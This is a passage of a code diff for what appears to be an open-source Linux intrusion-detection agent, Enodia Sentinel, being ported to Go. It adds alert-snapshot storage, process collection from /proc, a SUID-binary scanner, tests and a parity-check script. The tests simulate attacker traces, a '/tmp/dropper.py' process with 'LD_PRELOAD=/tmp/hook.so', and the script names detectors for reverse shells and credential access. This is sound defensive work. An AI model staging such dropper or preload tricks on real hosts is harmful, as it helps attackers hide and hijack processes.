"enodia-sentinel-go"}, + } + jsonPath := base + ".json" + if raw, err := os.ReadFile(jsonPath); err == nil { + if err := json.Unmarshal(raw, &report); err != nil { + return "", fmt.Errorf("decode existing snapshot: %w", err) + } + if report.Schema != Schema { + return "", fmt.Errorf("existing snapshot has schema %q", report.Schema) + } + } else if !os.IsNotExist(err) { + return "", fmt.Errorf("read existing snapshot: %w", err) + } + report.Alerts = append(report.Alerts, alert) + report.Severity = maxSeverity(report.Severity, alert.Severity) + report.Processes = s.collectProcesses(report.Alerts) + if report.Enrichment == nil { + report.Enrichment = map[string]any{"source": "enodia-sentinel-go"} + } + if err := writeJSONAtomic(jsonPath, report); err != nil { + return "", err + } + if err := writeAtomic(base+".log", []byte(formatText(report))); err != nil { + return "", err + } + if err := s.pruneLocked(); err != nil { + return "", err + } + return filepath.Base(base + ".log"), nil +} + +func (s *Store) collectProcesses(alerts []model.Alert) []ProcessDetail { + seen := map[int]bool{} + var pids []int + for _, alert := range alerts { + for _, pid := range alert.PIDs { + if pid > 0 && !seen[pid] { + seen[pid] = true + pids = append(pids, pid) + } + } + } + sort.Ints(pids) + result := make([]ProcessDetail, 0, len(pids)) + for _, pid := range pids { + result = append(result, s.Collect(pid)) + } + return result +} + +// SnapshotStats prunes first, then derives status claims from retained, +// parseable snapshot files. Calling it for every status emission keeps the age +// bound active even when a quiet host produces no new alert snapshots. +func (s *Store) SnapshotStats() (Stats, error) { + s.mu.Lock() + defer s.mu.Unlock() + if err := s.pruneLocked(); err != nil { + return Stats{}, err + } + stats := Stats{Counts: map[string]int{}} + paths, _ := filepath.Glob(filepath.Join(s.Dir, "alert-*.json")) + for _, path := range paths { + raw, err := os.ReadFile(path) + if err != nil { + continue + } + var report Report + if json.Unmarshal(raw, &report) != nil || report.Schema != Schema { + continue + } + stats.Total++ + stats.Counts[report.Severity]++ + if stats.LastAlert == nil || report.Time > *stats.LastAlert { + value := report.Time + stats.LastAlert = &value + } + } + return stats, nil +} + +// Prune applies count and age limits to JSON/text pairs. +func (s *Store) Prune() error { + s.mu.Lock() + defer s.mu.Unlock() + return s.pruneLocked() +} + +func (s *Store) pruneLocked() error { + paths, err := filepath.Glob(filepath.Join(s.Dir, "alert-*.json")) + if err != nil { + return fmt.Errorf("list snapshots: %w", err) + } + type candidate struct { + path string + mod time.Time + } + items := make([]candidate, 0, len(paths)) + for _, path := range paths { + info, err := os.Stat(path) + if err == nil { + items = append(items, candidate{path: path, mod: info.ModTime()}) + } + } + sort.Slice(items, func(i, j int) bool { return items[i].mod.After(items[j].mod) }) + cutoff := time.Time{} + if s.MaxAgeDays > 0 { + cutoff = s.Now().Add(-time.Duration(s.MaxAgeDays) * 24 * time.Hour) + } + kept := 0 + for _, item := range items { + remove := (!cutoff.IsZero() && item.mod.Before(cutoff)) || (s.MaxCount > 0 && kept >= s.MaxCount) + if remove { + if err := removePair(item.path); err != nil { + return err + } + continue + } + kept++ + } + return nil +} + +func decodeAlert(value any) (model.Alert, error) { + raw, err := json.Marshal(value) + if err != nil { + return model.Alert{}, fmt.Errorf("encode snapshot alert: %w", err) + } + var alert model.Alert + if err := json.Unmarshal(raw, &alert); err != nil { + return model.Alert{}, fmt.Errorf("decode snapshot alert: %w", err) + } + if alert.SID == 0 || alert.Signature == "" || alert.Severity == "" { + return model.Alert{}, fmt.Errorf("snapshot alert is incomplete") + } + return alert, nil +} + +func maxSeverity(left, right string) string { + rank := map[string]int{"MEDIUM": 1, "HIGH": 2, "CRITICAL": 3} + if rank[right] > rank[left] { + return right + } + return left +} + +func writeJSONAtomic(path string, value any) error { + raw, err := json.MarshalIndent(value, "", " ") + if err != nil { + return fmt.Errorf("encode snapshot: %w", err) + } + return writeAtomic(path, append(raw, '\n')) +} + +func writeAtomic(path string, raw []byte) error { + temporary := path + ".tmp" + if err := os.WriteFile(temporary, raw, 0o600); err != nil { + return fmt.Errorf("write snapshot: %w", err) + } + if err := os.Rename(temporary, path); err != nil { + return fmt.Errorf("replace snapshot: %w", err) + } + if err := os.Chmod(path, 0o600); err != nil { + return fmt.Errorf("protect snapshot: %w", err) + } + return nil +} + +func removePair(jsonPath string) error { + base := strings.TrimSuffix(jsonPath, ".json") + for _, path := range []string{base + ".json", base + ".log"} { + if err := os.Remove(path); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("remove expired snapshot: %w", err) + } + } + return nil +} + +func formatText(report Report) string { + var output strings.Builder + fmt.Fprintln(&output, "=== ENODIA SENTINEL ALERT ===") + fmt.Fprintln(&output, "Time: ", report.Time) + fmt.Fprintln(&output, "Host: ", report.Host) + fmt.Fprintln(&output, "Severity:", report.Severity) + fmt.Fprintln(&output, "\n## Triggering detections") + for _, alert := range report.Alerts { + fmt.Fprintf(&output, " [%s] sid:%d %s (%s) — %s\n", alert.Severity, alert.SID, alert.Signature, alert.Classtype, alert.Detail) + } + fmt.Fprintln(&output, "\n## Flagged process detail") + for _, process := range report.Processes { + fmt.Fprintf(&output, " pid:%d comm:%s exe:%s ppid:%d uid:%d cmdline:%s\n", process.PID, process.Comm, process.Exe, process.PPID, process.UID, process.Cmdline) + } + if len(report.Processes) == 0 { + fmt.Fprintln(&output, " (no specific pid in alerts)") + } + return output.String() +} + +func collectProcess(procRoot string, pid int) ProcessDetail { + base := filepath.Join(procRoot, strconv.Itoa(pid)) + detail := ProcessDetail{PID: pid, FDs: map[string]string{}} + detail.Comm = readText(filepath.Join(base, "comm")) + detail.Cmdline = strings.TrimSpace(strings.ReplaceAll(readRaw(filepath.Join(base, "cmdline")), "\x00", " ")) + detail.Exe = readLink(filepath.Join(base, "exe")) + detail.CWD = readLink(filepath.Join(base, "cwd")) + status := readRaw(filepath.Join(base, "status")) + for _, line := range strings.Split(status, "\n") { + fields := strings.Fields(line) + if len(fields) < 2 { + continue + } + switch fields[0] { + case "PPid:": + detail.PPID, _ = strconv.Atoi(fields[1]) + case "Uid:": + detail.UID, _ = strconv.Atoi(fields[1]) + } + } + detail.PPIDComm = readText(filepath.Join(procRoot, strconv.Itoa(detail.PPID), "comm")) + for _, item := range strings.Split(readRaw(filepath.Join(base, "environ")), "\x00") { + if strings.HasPrefix(item, "LD_PRELOAD=") { + detail.LDPreload = strings.TrimPrefix(item, "LD_PRELOAD=") + } + } + entries, _ := os.ReadDir(filepath.Join(base, "fd")) + sort.Slice(entries, func(i, j int) bool { + left, leftErr := strconv.Atoi(entries[i].Name()) + right, rightErr := strconv.Atoi(entries[j].Name()) + if leftErr == nil && rightErr == nil { + return left < right + } + return entries[i].Name() < entries[j].Name() + }) + for _, entry := range entries { + if len(detail.FDs) >= 40 { + break + } + if target := readLink(filepath.Join(base, "fd", entry.Name())); target != "" { + detail.FDs[entry.Name()] = target + } + } + return detail +} + +func readRaw(path string) string { + raw, _ := os.ReadFile(path) + return string(raw) +} + +func readText(path string) string { return strings.TrimSpace(readRaw(path)) } + +func readLink(path string) string { + target, _ := os.Readlink(path) + return target +} diff --git a/go-agent/internal/snapshot/store_test.go b/go-agent/internal/snapshot/store_test.go new file mode 100644 index 0000000..797a0ab --- /dev/null +++ b/go-agent/internal/snapshot/store_test.go @@ -0,0 +1,207 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package snapshot + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + "time" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +func TestCaptureEventWritesCompatiblePairAndMergesSameSecond(t *testing.T) { + store, err := New(t.TempDir(), "/unused", 10, 30) + if err != nil { + t.Fatal(err) + } + store.Collect = func(pid int) ProcessDetail { + return ProcessDetail{PID: pid, Comm: "python3", PPID: 1, UID: 1000, FDs: map[string]string{"1": "socket:[9]"}} + } + first := alertEvent("2026-07-22T10:11:12.100-07:00", model.Alert{ + SID: 100069, Severity: "HIGH", Signature: "host_rule.persistence-write", + Classtype: "persistence-write", Key: "one", Detail: "first", PIDs: []int{42}, + }) + second := alertEvent("2026-07-22T10:11:12.900-07:00", model.Alert{ + SID: 100001, Severity: "CRITICAL", Signature: "exec_rule.fileless", + Classtype: "execution", Key: "two", Detail: "second", PIDs: []int{7, 42}, + }) + name, err := store.CaptureEvent(first) + if err != nil { + t.Fatal(err) + } + if name != "alert-20260722-101112.log" { + t.Fatalf("name=%q", name) + } + if _, err := store.CaptureEvent(second); err != nil { + t.Fatal(err) + } + base := filepath.Join(store.Dir, "alert-20260722-101112") + raw, err := os.ReadFile(base + ".json") + if err != nil { + t.Fatal(err) + } + var report Report + if err := json.Unmarshal(raw, &report); err != nil { + t.Fatal(err) + } + if report.Schema != Schema || report.IncidentID != nil || report.Severity != "CRITICAL" || + len(report.Alerts) != 2 || len(report.Processes) != 2 || report.Enrichment["source"] != "enodia-sentinel-go" { + t.Fatalf("report=%#v", report) + } + for _, path := range []string{base + ".json", base + ".log"} { + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + if info.Mode().Perm() != 0o600 { + t.Fatalf("%s mode=%#o", path, info.Mode().Perm()) + } + } + stats, err := store.SnapshotStats() + if err != nil { + t.Fatal(err) + } + if stats.Total != 1 || stats.Counts["CRITICAL"] != 1 || stats.LastAlert == nil || *stats.LastAlert != first["timestamp"] { + t.Fatalf("stats=%#v", stats) + } +} + +func TestRetentionPrunesCountAndAgeAsPairs(t *testing.T) { + store, err := New(t.TempDir(), "/unused", 2, 1) + if err != nil { + t.Fatal(err) + } + store.Collect = func(pid int) ProcessDetail { return ProcessDetail{PID: pid, FDs: map[string]string{}} } + now := time.Date(2026, 7, 22, 12, 0, 0, 0, time.UTC) + store.Now = func() time.Time { return now } + for index, timestamp := range []string{ + "2026-07-20T10:00:00Z", "2026-07-22T10:00:01Z", "2026-07-22T10:00:02Z", + } { + event := alertEvent(timestamp, model.Alert{SID: 100010 + index, Severity: "HIGH", Signature: "test", Classtype: "test", Key: "key", Detail: "detail"}) + if _, err := store.CaptureEvent(event); err != nil { + t.Fatal(err) + } + base := filepath.Join(store.Dir, "alert-"+mustTime(t, timestamp).Format("20060102-150405")) + mod := now.Add(time.Duration(index-2) * time.Hour) + if index == 0 { + mod = now.Add(-48 * time.Hour) + } + for _, suffix := range []string{".json", ".log"} { + if err := os.Chtimes(base+suffix, mod, mod); err != nil { + t.Fatal(err) + } + } + } + // A final capture runs pruning after the test-controlled mtimes are set. + if _, err := store.CaptureEvent(alertEvent("2026-07-22T10:00:03Z", model.Alert{SID: 100099, Severity: "MEDIUM", Signature: "test", Classtype: "test", Key: "last", Detail: "last"})); err != nil { + t.Fatal(err) + } + jsonFiles, _ := filepath.Glob(filepath.Join(store.Dir, "alert-*.json")) + logFiles, _ := filepath.Glob(filepath.Join(store.Dir, "alert-*.log")) + if len(jsonFiles) != 2 || len(logFiles) != 2 { + t.Fatalf("retained json=%v log=%v", jsonFiles, logFiles) + } + if _, err := os.Stat(filepath.Join(store.Dir, "alert-20260720-100000.json")); !os.IsNotExist(err) { + t.Fatalf("old snapshot not pruned: %v", err) + } +} + +func TestNewPrunesExpiredPairBeforeReadiness(t *testing.T) { + directory := t.TempDir() + base := filepath.Join(directory, "alert-20200101-000000") + old := time.Now().Add(-48 * time.Hour) + for _, suffix := range []string{".json", ".log"} { + if err := os.WriteFile(base+suffix, []byte("old"), 0o600); err != nil { + t.Fatal(err) + } + if err := os.Chtimes(base+suffix, old, old); err != nil { + t.Fatal(err) + } + } + if _, err := New(directory, "/unused", 300, 1); err != nil { + t.Fatal(err) + } + for _, suffix := range []string{".json", ".log"} { + if _, err := os.Stat(base + suffix); !os.IsNotExist(err) { + t.Fatalf("expired %s remains: %v", suffix, err) + } + } + probes, _ := filepath.Glob(filepath.Join(directory, ".snapshot-preflight-*")) + if len(probes) != 0 { + t.Fatalf("preflight files remain: %v", probes) + } +} + +func TestCaptureRejectsCorruptExistingSnapshot(t *testing.T) { + store, err := New(t.TempDir(), "/unused", 10, 30) + if err != nil { + t.Fatal(err) + } + path := filepath.Join(store.Dir, "alert-20260722-101112.json") + if err := os.WriteFile(path, []byte("broken"), 0o600); err != nil { + t.Fatal(err) + } + _, err = store.CaptureEvent(alertEvent("2026-07-22T10:11:12Z", model.Alert{SID: 1, Severity: "HIGH", Signature: "test", Classtype: "test", Key: "key", Detail: "detail"})) + if err == nil { + t.Fatal("corrupt snapshot accepted") + } +} + +func TestCollectProcessBuildsPythonCompatibleContext(t *testing.T) { + procRoot := t.TempDir() + processDir := filepath.Join(procRoot, "42") + parentDir := filepath.Join(procRoot, "7") + if err := os.MkdirAll(filepath.Join(processDir, "fd"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.MkdirAll(parentDir, 0o755); err != nil { + t.Fatal(err) + } + files := map[string]string{ + filepath.Join(processDir, "comm"): "python3\n", + filepath.Join(processDir, "cmdline"): "python3\x00/tmp/dropper.py\x00", + filepath.Join(processDir, "status"): "Name:\tpython3\nPPid:\t7\nUid:\t1000\t1000\t1000\t1000\n", + filepath.Join(processDir, "environ"): "HOME=/tmp\x00LD_PRELOAD=/tmp/hook.so\x00", + filepath.Join(parentDir, "comm"): "nginx\n", + } + for path, content := range files { + if err := os.WriteFile(path, []byte(content), 0o600); err != nil { + t.Fatal(err) + } + } + for path, target := range map[string]string{ + filepath.Join(processDir, "exe"): "/usr/bin/python3", + filepath.Join(processDir, "cwd"): "/tmp", + filepath.Join(processDir, "fd", "1"): "socket:[99]", + } { + if err := os.Symlink(target, path); err != nil { + t.Fatal(err) + } + } + detail := collectProcess(procRoot, 42) + if detail.PID != 42 || detail.Comm != "python3" || detail.Cmdline != "python3 /tmp/dropper.py" || + detail.Exe != "/usr/bin/python3" || detail.CWD != "/tmp" || detail.PPID != 7 || + detail.PPIDComm != "nginx" || detail.UID != 1000 || detail.LDPreload != "/tmp/hook.so" || + detail.FDs["1"] != "socket:[99]" { + t.Fatalf("detail=%#v", detail) + } +} + +func alertEvent(timestamp string, alert model.Alert) map[string]any { + return map[string]any{ + "schema": "enodia.event.v1", "event_type": "alert", "timestamp": timestamp, + "host": "host-a", "alert": alert, + } +} + +func mustTime(t *testing.T, value string) time.Time { + t.Helper() + parsed, err := time.Parse(time.RFC3339Nano, value) + if err != nil { + t.Fatal(err) + } + return parsed +} diff --git a/go-agent/internal/system/suid.go b/go-agent/internal/system/suid.go new file mode 100644 index 0000000..fd56ade --- /dev/null +++ b/go-agent/internal/system/suid.go @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package system + +import ( + "os" + "path/filepath" + "sort" + "syscall" +) + +// ScanSUIDBinaries mirrors Python's deliberately conservative SUID/SGID walk. +// The primary root never crosses a filesystem boundary, while explicitly +// configured writable mounts are walked separately because tmpfs-backed paths +// are exactly where an attacker is likely to drop a privileged binary. +// +// Individual unreadable entries are ignored. Host filesystems are inherently +// racy and permission-sensitive, so one denied subtree must not discard the +// useful portion of a scan. +func ScanSUIDBinaries(root string, extraDirs []string) []string { + if root == "" { + root = "/" + } + result := make(map[string]bool) + rootInfo, err := os.Lstat(root) + if err == nil { + device, ok := deviceID(rootInfo) + if ok { + walkSUID(root, &device, result) + } + } + for _, directory := range extraDirs { + info, err := os.Lstat(directory) + if err != nil || !info.IsDir() { + continue + } + walkSUID(directory, nil, result) + } + paths := make([]string, 0, len(result)) + for path := range result { + paths = append(paths, path) + } + sort.Strings(paths) + return paths +} + +func walkSUID(root string, requiredDevice *uint64, result map[string]bool) { + stack := []string{root} + for len(stack) > 0 { + directory := stack[len(stack)-1] + stack = stack[:len(stack)-1] + entries, err := os.ReadDir(directory) + if err != nil { + continue + } + for _, entry := range entries { + path := filepath.Join(directory, entry.Name()) + info, err := os.Lstat(path) + if err != nil { + continue + } + if info.IsDir() { + if requiredDevice != nil { + device, ok := deviceID(info) + if !ok || device != *requiredDevice { + continue + } + } + stack = append(stack, path) + continue + } + mode := info.Mode() + if mode.IsRegular() && (mode&os.ModeSetuid != 0 || mode&os.ModeSetgid != 0) { + result[path] = true + } + } + } +} + +func deviceID(info os.FileInfo) (uint64, bool) { + stat, ok := info.Sys().(*syscall.Stat_t) + if !ok { + return 0, false + } + return uint64(stat.Dev), true +} diff --git a/go-agent/internal/system/suid_test.go b/go-agent/internal/system/suid_test.go new file mode 100644 index 0000000..df94f8e --- /dev/null +++ b/go-agent/internal/system/suid_test.go @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package system + +import ( + "os" + "path/filepath" + "testing" +) + +func TestScanSUIDBinariesFindsPrivilegedRegularFiles(t *testing.T) { + root := t.TempDir() + ordinary := filepath.Join(root, "ordinary") + privileged := filepath.Join(root, "nested", "privileged") + if err := os.MkdirAll(filepath.Dir(privileged), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(ordinary, []byte("x"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(privileged, []byte("x"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Chmod(privileged, 0o755|os.ModeSetuid); err != nil { + t.Fatal(err) + } + got := ScanSUIDBinaries(root, nil) + if len(got) != 1 || got[0] != privileged { + t.Fatalf("unexpected scan: %#v", got) + } +} + +func TestScanSUIDBinariesIncludesExtraDirectories(t *testing.T) { + root := t.TempDir() + extra := t.TempDir() + privileged := filepath.Join(extra, "sgid-tool") + if err := os.WriteFile(privileged, []byte("x"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Chmod(privileged, 0o755|os.ModeSetgid); err != nil { + t.Fatal(err) + } + got := ScanSUIDBinaries(root, []string{extra}) + if len(got) != 1 || got[0] != privileged { + t.Fatalf("unexpected extra-dir scan: %#v", got) + } +} diff --git a/scripts/check-go-parity.py b/scripts/check-go-parity.py index c2d5871..308a0bd 100755 --- a/scripts/check-go-parity.py +++ b/scripts/check-go-parity.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # SPDX-License-Identifier: GPL-3.0-or-later -"""Compare ported Go poll detectors with the Python reference oracle.""" +"""Compare ported Go poll and exec-rule output with the Python oracle.""" from __future__ import annotations import json @@ -14,18 +14,26 @@ from unittest.mock import patch ROOT = Path(__file__).resolve().parents[1] sys.path.insert(0, str(ROOT)) -from enodia_sentinel import __version__, event # noqa: E402 +from enodia_sentinel import __version__, correlation, event, ruleops # noqa: E402 from enodia_sentinel.config import Config # noqa: E402 from enodia_sentinel.detectors import ( # noqa: E402 credential_access, deleted_exe, egress, + first_seen, input_snooper, ld_preload, memory_obfuscation, + new_listener, + new_suid, + persistence, reverse_shell, stealth_network, ) +from enodia_sentinel.events.exec_event import ExecEvent # noqa: E402 +from enodia_sentinel.events.rules import ExecRuleEngine # noqa: E402 +from enodia_sentinel.events.syscall_event import SyscallEvent # noqa: E402 +from enodia_sentinel.events.syscall_rules import SyscallRuleEngine # noqa: E402 from enodia_sentinel.system import MemoryMap, Socket, SystemState # noqa: E402 HOST = "parity-host" @@ -78,7 +86,16 @@ def main() -> int: processes.append(FixtureProcess(**process)) sockets = [Socket(**item) for item in fixture_data.get("sockets", [])] cfg = Config() - state = SystemState(processes=processes, sockets=sockets) + state = SystemState( + processes=processes, + sockets=sockets, + listener_baseline=set(fixture_data["listener_baseline"]) + if "listener_baseline" in fixture_data else None, + suid_baseline=set(fixture_data["suid_baseline"]) + if "suid_baseline" in fixture_data else None, + suid_binaries=fixture_data.get("suid_binaries"), + persist_since=fixture_data.get("persist_since"), + ) alerts = list(reverse_shell.detect(state, cfg)) with patch.object(ld_preload, "Path") as path_class: preload = path_class.return_value @@ -91,6 +108,24 @@ def main() -> int: alerts.extend(stealth_network.detect(state, cfg)) alerts.extend(memory_obfuscation.detect(state, cfg)) alerts.extend(egress.detect(state, cfg)) + first_seen_data = { + "schema": "enodia.first_seen.v1", + "initialized": fixture_data.get("first_seen_initialized", False), + "public_destinations": fixture_data.get("first_seen_public_destinations", {}), + "listener_ports": fixture_data.get("first_seen_listener_ports", {}), + } + with patch.object(first_seen, "_load", return_value=first_seen_data), \ + patch.object(first_seen, "_save"): + alerts.extend(first_seen.detect(state, cfg)) + alerts.extend(new_listener.detect(state, cfg)) + with patch.object(persistence, "_iter_files", return_value=list(fixture_data.get("persistence_files", {}))): + with patch.object( + persistence.os, "lstat", + side_effect=lambda path: SimpleNamespace( + st_mtime=fixture_data["persistence_files"][path]), + ): + alerts.extend(persistence.detect(state, cfg)) + alerts.extend(new_suid.detect(state, cfg)) python_alerts = [ event.from_alert(alert, host=HOST, timestamp=TIMESTAMP) for alert in alerts @@ -108,8 +143,204 @@ def main() -> int: if status.get("schema") != "enodia.status.v1" or status.get("version") != __version__: print("Go status schema/version drifted from Python", file=sys.stderr) return 1 + + # Exec rules use a separate replay mode so the event model and rule engine + # stay independently testable before the Go side has a kernel event source. + exec_fixture = ROOT / "tests/fixtures/go/exec-events.json" + exec_rules = ROOT / "tests/fixtures/go/exec-rules.toml" + exec_config = ROOT / "tests/fixtures/go/exec-rules-config.toml" + exec_command = [ + "go", "run", "./cmd/enodia-sentinel-go", + "--config", str(exec_config), + "--exec-events", str(exec_fixture), + "--host", HOST, "--timestamp", TIMESTAMP, + ] + exec_result = subprocess.run( + exec_command, cwd=ROOT / "go-agent", env=env, + capture_output=True, text=True, timeout=60, + ) + if exec_result.returncode: + print(exec_result.stderr, file=sys.stderr, end="") + return exec_result.returncode + go_exec_alerts = [ + json.loads(line) for line in exec_result.stdout.splitlines() if line + ] + + exec_cfg = Config() + exec_cfg.exec_rules_file = str(exec_rules) + exec_engine = ExecRuleEngine.load(exec_cfg.exec_rules_file) + exec_alerts = [] + for raw in json.loads(exec_fixture.read_text()): + raw["argv"] = tuple(raw.get("argv", ())) + exec_alerts.extend(exec_engine.match(ExecEvent(**raw))) + python_exec_alerts = [ + event.from_alert(alert, host=HOST, timestamp=TIMESTAMP) + for alert in exec_alerts + ] + if go_exec_alerts != python_exec_alerts: + print("Go/Python exec-rule parity mismatch", file=sys.stderr) + print(json.dumps( + {"go": go_exec_alerts, "python": python_exec_alerts}, indent=2, + ), file=sys.stderr) + return 1 + + syscall_fixture = ROOT / "tests/fixtures/go/syscall-events.json" + syscall_command = [ + "go", "run", "./cmd/enodia-sentinel-go", + "--config", str(ROOT / "tests/fixtures/go/no-such-config.toml"), + "--syscall-events", str(syscall_fixture), + "--host", HOST, "--timestamp", TIMESTAMP, + ] + syscall_result = subprocess.run( + syscall_command, cwd=ROOT / "go-agent", env=env, + capture_output=True, text=True, timeout=60, + ) + if syscall_result.returncode: + print(syscall_result.stderr, file=sys.stderr, end="") + return syscall_result.returncode + go_syscall_alerts = [ + json.loads(line) for line in syscall_result.stdout.splitlines() if line + ] + syscall_engine = SyscallRuleEngine() + syscall_alerts = [] + for raw in json.loads(syscall_fixture.read_text()): + args = list(raw.pop("args", ())) + args.extend([0] * (6 - len(args))) + syscall_alerts.extend(syscall_engine.match(SyscallEvent( + **raw, + arg0=args[0], arg1=args[1], arg2=args[2], + arg3=args[3], arg4=args[4], arg5=args[5], + ))) + python_syscall_alerts = [ + event.from_alert(alert, host=HOST, timestamp=TIMESTAMP) + for alert in syscall_alerts + ] + if go_syscall_alerts != python_syscall_alerts: + print("Go/Python syscall-rule parity mismatch", file=sys.stderr) + print(json.dumps( + {"go": go_syscall_alerts, "python": python_syscall_alerts}, indent=2, + ), file=sys.stderr) + return 1 + + host_fixture = ROOT / "tests/fixtures/go/host-events.json" + host_command = [ + "go", "run", "./cmd/enodia-sentinel-go", + "--config", str(ROOT / "tests/fixtures/go/no-such-config.toml"), + "--host-events", str(host_fixture), + "--host", HOST, "--timestamp", TIMESTAMP, + ] + host_result = subprocess.run( + host_command, cwd=ROOT / "go-agent", env=env, + capture_output=True, text=True, timeout=60, + ) + if host_result.returncode: + print(host_result.stderr, file=sys.stderr, end="") + return host_result.returncode + go_host_alerts = [ + json.loads(line) for line in host_result.stdout.splitlines() if line + ] + host_alerts = [] + for raw in json.loads(host_fixture.read_text()): + host_alerts.extend(ruleops.test_event(Config(), raw)) + python_host_alerts = [ + event.from_alert(alert, host=HOST, timestamp=TIMESTAMP) + for alert in host_alerts + ] + if go_host_alerts != python_host_alerts: + print("Go/Python host-rule parity mismatch", file=sys.stderr) + print(json.dumps( + {"go": go_host_alerts, "python": python_host_alerts}, indent=2, + ), file=sys.stderr) + return 1 + + catalog_command = [ + "go", "run", "./cmd/enodia-sentinel-go", + "--config", str(exec_config), "--rules-list", + ] + catalog_result = subprocess.run( + catalog_command, cwd=ROOT / "go-agent", env=env, + capture_output=True, text=True, timeout=60, + ) + if catalog_result.returncode: + print(catalog_result.stderr, file=sys.stderr, end="") + return catalog_result.returncode + go_catalog = json.loads(catalog_result.stdout) + python_catalog = ruleops.list_rules(exec_cfg) + if go_catalog != python_catalog: + print("Go/Python rule-catalog parity mismatch", file=sys.stderr) + print(json.dumps( + {"go": go_catalog, "python": python_catalog}, indent=2, + ), file=sys.stderr) + return 1 + + mixed_fixture = ROOT / "tests/fixtures/go/mixed-events.jsonl" + mixed_command = [ + "go", "run", "./cmd/enodia-sentinel-go", + "--config", str(exec_config), + "--event-stream", str(mixed_fixture), + "--host", HOST, "--timestamp", TIMESTAMP, + ] + mixed_result = subprocess.run( + mixed_command, cwd=ROOT / "go-agent", env=env, + capture_output=True, text=True, timeout=60, + ) + if mixed_result.returncode: + print(mixed_result.stderr, file=sys.stderr, end="") + return mixed_result.returncode + go_mixed_alerts = [ + json.loads(line) for line in mixed_result.stdout.splitlines() if line + ] + mixed_alerts = [] + for line in mixed_fixture.read_text().splitlines(): + if line.strip(): + mixed_alerts.extend(ruleops.test_event(exec_cfg, json.loads(line))) + python_mixed_alerts = [ + event.from_alert(alert, host=HOST, timestamp=TIMESTAMP) + for alert in mixed_alerts + ] + if go_mixed_alerts != python_mixed_alerts: + print("Go/Python mixed-event pipeline parity mismatch", file=sys.stderr) + print(json.dumps( + {"go": go_mixed_alerts, "python": python_mixed_alerts}, indent=2, + ), file=sys.stderr) + return 1 + + correlation_fixture = ROOT / "tests/fixtures/go/correlation-incidents.json" + correlation_command = [ + "go", "run", "./cmd/enodia-sentinel-go", + "--config", str(exec_config), "--correlate", str(correlation_fixture), + ] + correlation_result = subprocess.run( + correlation_command, cwd=ROOT / "go-agent", env=env, + capture_output=True, text=True, timeout=60, + ) + if correlation_result.returncode: + print(correlation_result.stderr, file=sys.stderr, end="") + return correlation_result.returncode + go_correlations = json.loads(correlation_result.stdout) + python_correlations = [ + correlation.correlate(incident) + for incident in json.loads(correlation_fixture.read_text()) + ] + if go_correlations != python_correlations: + print("Go/Python correlation parity mismatch", file=sys.stderr) + print(json.dumps( + {"go": go_correlations, "python": python_correlations}, indent=2, + ), file=sys.stderr) + return 1 + signatures = sorted({record["alert"]["signature"] for record in go_alerts}) - print(f"parity ok: {len(go_alerts)} alerts across {', '.join(signatures)}") + exec_sids = sorted(record["alert"]["sid"] for record in go_exec_alerts) + syscall_sids = sorted(record["alert"]["sid"] for record in go_syscall_alerts) + host_sids = sorted(record["alert"]["sid"] for record in go_host_alerts) + print( + f"parity ok: {len(go_alerts)} poll alerts across {', '.join(signatures)}; " + f"{len(go_exec_alerts)} exec alerts across SIDs {exec_sids}; " + f"{len(go_syscall_alerts)} syscall alerts across SIDs {syscall_sids}; " + f"{len(go_host_alerts)} host alerts across SIDs {host_sids}; " + f"{len(go_catalog)} catalog records; {len(go_mixed_alerts)} mixed-stream alerts" + f"; {sum(len(item) for item in go_correlations)} correlations" + ) return 0 diff --git a/systemd/enodia-sentinel-go-sidecar.service b/systemd/enodia-sentinel-go-sidecar.service new file mode 100644 index 0000000..5695431 --- /dev/null +++ b/systemd/enodia-sentinel-go-sidecar.service @@ -0,0 +1,48 @@ +[Unit] +Description=Enodia Sentinel Go migration validation sidecar +After=network.target +Documentation=https://github.com/Enodia/enodia-sentinel + +[Service] +Type=notify +NotifyAccess=main +TimeoutStartSec=120 +# Keep this path independent from enodia-sentinel.service. The sidecar emits +# enodia.event.v1 JSONL to the journal and owns only its separate state tree. +ExecStart=/usr/bin/env enodia-sentinel-go --config /etc/enodia-sentinel.toml --state-dir /var/lib/enodia-sentinel-go --event-log /var/lib/enodia-sentinel-go/events.jsonl --event-log-max-bytes 67108864 --snapshot-dir /var/lib/enodia-sentinel-go --ebpf-exec --ebpf-syscall +Restart=on-failure +RestartSec=5 +StandardOutput=journal +StandardError=journal +StateDirectory=enodia-sentinel-go +StateDirectoryMode=0750 +UMask=0077 + +# The embedded CO-RE programs do not need a compiler or writable executable +# memory. The broad CAP_SYS_ADMIN fallback keeps tracepoint attachment working +# on kernels predating the narrower CAP_BPF/CAP_PERFMON privilege split. +ProtectSystem=strict +ProtectHome=read-only +InaccessiblePaths=-/var/log/enodia-sentinel +NoNewPrivileges=yes +PrivateDevices=yes +PrivateMounts=yes +ProtectClock=yes +ProtectHostname=yes +ProtectKernelLogs=yes +ProtectKernelTunables=yes +ProtectKernelModules=yes +ProtectControlGroups=yes +RestrictSUIDSGID=yes +RestrictRealtime=yes +MemoryDenyWriteExecute=yes +LockPersonality=yes +RestrictNamespaces=yes +RestrictAddressFamilies=AF_UNIX AF_NETLINK +SystemCallArchitectures=native +CapabilityBoundingSet=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE +AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE +LimitMEMLOCK=infinity + +[Install] +WantedBy=multi-user.target diff --git a/tests/fixtures/go/correlation-incidents.json b/tests/fixtures/go/correlation-incidents.json new file mode 100644 index 0000000..52ca500 --- /dev/null +++ b/tests/fixtures/go/correlation-incidents.json @@ -0,0 +1,6 @@ +[ + 